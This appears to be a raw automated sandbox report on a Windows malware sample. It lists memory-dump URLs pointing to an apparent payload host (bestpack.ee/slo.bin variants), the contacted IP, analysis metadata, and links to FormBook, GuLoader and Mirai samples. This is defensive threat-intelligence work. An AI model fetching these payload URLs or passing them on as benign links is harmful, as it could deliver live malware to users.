https://bestpack.ee/a	SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74395501664.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73144571670.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000002.76733975773.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72688325234.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73258455659.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73372579596.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74509198454.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72232647774.00000000066B1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72916629062.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73714567079.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72574360519.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73030912520.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75305963490.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73600667395.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75078811291.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74851095828.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73486344040.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75419467345.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74623047904.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72346415547.00000000066B2000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://bestpack.ee/slo.bin7	SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73144493078.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73714163433.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75192333805.00000000066BA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74737216556.00000000066BA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74509067339.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000002.76733975773.00000000066BA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75078811291.00000000066BA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74965012912.00000000066BA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74851095828.00000000066BA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74622911186.00000000066D4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://www.w3c.org/TR/1999/REC-html401-19991224/frameset.dtd	SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000001.71909063728.00000000005F2000.00000020.00000001.01000000.00000005.sdmp	false	unknown
http://bestpack.ee/slo.bin=R	SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75305885412.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73714163433.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73486212959.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73372304970.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74509067339.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000002.76733975773.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75192249873.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74622911186.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73258321058.00000000066D4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://bestpack.ee/CI	SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73144493078.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72801998690.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73486212959.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73372304970.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73030411499.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72916087709.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72687881385.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73258321058.00000000066D4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://bestpack.ee/slo.bin=R	SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75532844773.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75419392263.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74737118310.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74964852204.00000000066D4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://bestpack.ee/	SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75532844773.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73144493078.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75419392263.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74395501664.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75305885412.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73144571670.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73714163433.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000002.76733975773.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74737118310.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72688325234.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72801998690.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72118854525.00000000066CD000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73258455659.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73372579596.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73372304970.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74509198454.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72232647774.00000000066B1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74509067339.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72916629062.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73714567079.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72574360519.00000000066B2000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://bestpack.ee/slo.bin/	SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75532844773.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75419392263.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74964852204.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72687881385.00000000066D4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd	SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000001.71909063728.00000000005F2000.00000020.00000001.01000000.00000005.sdmp	false	unknown
https://bestpack.ee/slo.binh	SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72801998690.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72916087709.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72687881385.00000000066D4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://bestpack.ee/slo.bin.R	SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75532844773.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73144493078.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75305885412.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74737118310.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72801998690.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74964852204.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73030411499.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000002.76733975773.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72916087709.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72687881385.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75192249873.00000000066D4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://www.quovadis.bm0	SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75532844773.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73144493078.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75419392263.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75305885412.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73714163433.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74737118310.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72801998690.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72118854525.00000000066CD000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73486212959.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73372304970.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74509067339.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72005247769.00000000066D5000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74964852204.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72286211285.00000000066D1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73030411499.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000002.76733975773.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72916087709.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72687881385.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75192249873.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74622911186.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73258321058.00000000066D4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://bestpack.ee/hI	SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75419392263.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75305885412.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73486212959.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72286211285.00000000066D1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75192249873.00000000066D4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://bestpack.ee/slo.binh	SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73144493078.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73714163433.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72118854525.00000000066CD000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73486212959.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73372304970.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72286211285.00000000066D1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73030411499.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73258321058.00000000066D4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://bestpack.ee/slo.bin$	SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72286211285.00000000066D1000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://ocsp.quovadisoffshore.com0	SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75532844773.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73144493078.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75419392263.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75305885412.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73714163433.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74737118310.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72801998690.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72118854525.00000000066CD000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73486212959.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73372304970.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74509067339.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72005247769.00000000066D5000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74964852204.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72286211285.00000000066D1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73030411499.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000002.76733975773.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72916087709.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72687881385.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75192249873.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74622911186.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73258321058.00000000066D4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://bestpack.ee/slo.bin.R	SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75419392263.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73714163433.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73372304970.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73258321058.00000000066D4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://bestpack.ee/slo.binked	SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74509198454.00000000066BA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74395501664.00000000066BA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73144773492.00000000066BA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73714567079.00000000066BA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75192333805.00000000066BA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73372413154.00000000066BA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74737216556.00000000066BA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75532927856.00000000066BA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73600667395.00000000066BA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75419467345.00000000066BA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73030543463.00000000066BA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75305963490.00000000066BA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000002.76733975773.00000000066BA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72802564337.00000000066BA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75078811291.00000000066BA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73486784699.00000000066BA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74965012912.00000000066BA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74851095828.00000000066BA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72916255979.00000000066BA000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://bestpack.ee/slo.bin/	SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74622911186.00000000066D4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://bestpack.ee/slo.bin&	SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72118854525.00000000066CD000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72286211285.00000000066D1000.00000004.00000020.00020000.00000000.sdmp	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.86.211.137	bestpack.ee	Spain		50129	TVHORADADAES	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1520710
Start date and time:	2024-09-27 18:56:02 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 14m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, Chrome 128, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected Instruction Hammering
Number of analysed new started processes analysed:	3
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe
Detection:	MAL
Classification:	mal60.troj.evad.winEXE@3/9@1/1
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 83% Number of executed functions: 53 Number of non-executed functions: 31
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.86.211.137	D#U00dcZELT#U0130LD#U0130 S#U00d6ZLE#U015eME-pdf.bat.exe	Get hash	malicious	FormBook, GuLoader	Browse	bestpack.ee/TUR.bin
185.86.211.137	UMOWA_PD.BAT.exe	Get hash	malicious	FormBook, GuLoader	Browse	bestpack.ee/POL.bin

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bestpack.ee	D#U00dcZELT#U0130LD#U0130 S#U00d6ZLE#U015eME-pdf.bat.exe	Get hash	malicious	FormBook, GuLoader	Browse	185.86.211.137
bestpack.ee	UMOWA_PD.BAT.exe	Get hash	malicious	FormBook, GuLoader	Browse	185.86.211.137

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TVHORADADAES	D#U00dcZELT#U0130LD#U0130 S#U00d6ZLE#U015eME-pdf.bat.exe	Get hash	malicious	FormBook, GuLoader	Browse	185.86.211.137
	UMOWA_PD.BAT.exe	Get hash	malicious	FormBook, GuLoader	Browse	185.86.211.137
	http://glydesolar.com	Get hash	malicious	Unknown	Browse	185.76.79.50
	http://fswcf.org	Get hash	malicious	Unknown	Browse	185.76.79.50
	firmware.sh4.elf	Get hash	malicious	Unknown	Browse	185.215.4.10
	nullnet_load.arm.elf	Get hash	malicious	Mirai	Browse	156.67.60.67
	mpsl.elf	Get hash	malicious	Mirai	Browse	185.204.65.51
	77.90.35.9-skid.mpsl-2024-07-30T06_23_54.elf	Get hash	malicious	Mirai, Moobot	Browse	156.67.60.67
